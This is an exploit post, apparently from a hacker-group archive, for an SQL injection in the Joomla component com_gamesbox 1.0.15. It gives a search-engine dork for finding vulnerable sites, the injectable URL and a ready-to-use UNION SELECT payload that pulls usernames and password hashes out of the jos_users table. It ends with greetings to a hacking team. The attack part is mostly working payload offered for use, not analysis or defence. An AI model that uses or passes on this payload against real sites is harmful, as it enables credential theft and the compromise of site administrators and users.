Joomla Component com_gamesbox 1.0.15 SQL Injection Vulnerability

================================================================
Joomla Component com_gamesbox 1.0.15 SQL Injection Vulnerability
================================================================


        # Date: 2010/07/31
        # Author: Exploit.MD5
        # Email: md5.exploit.Gmail.com
        # My Sites : www.sa-hacker.com
        # Tested on: Windows &linux Back Track
        # Team hacker:ABU JNIH & snaKe 3NAZh >>>Mr.3neeD&Jbrot

        ??

        \\\|///?

        \\ - - //?

        ( @ @ )?

        ----oOOo--(_)-oOOo---------------------------?

        Vendor:http://www.jooforge.com
        =================Exploit=================

        Dork: inurl:com_gamesbox

        http://localhost/[path]/index.php?option=com_gamesbox&view=consoles&layout=console&id=SQL

==================================================================================

        Exploit:-6666+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5,6,7,8+from+jos_users--

        

        ---------Greatz----------
        Greatz to :
        Mr.JON -Nc- ALL user in sa-hacker

        and My friends MSN
        ---[EOF



#  0day.today [2018-01-04]  #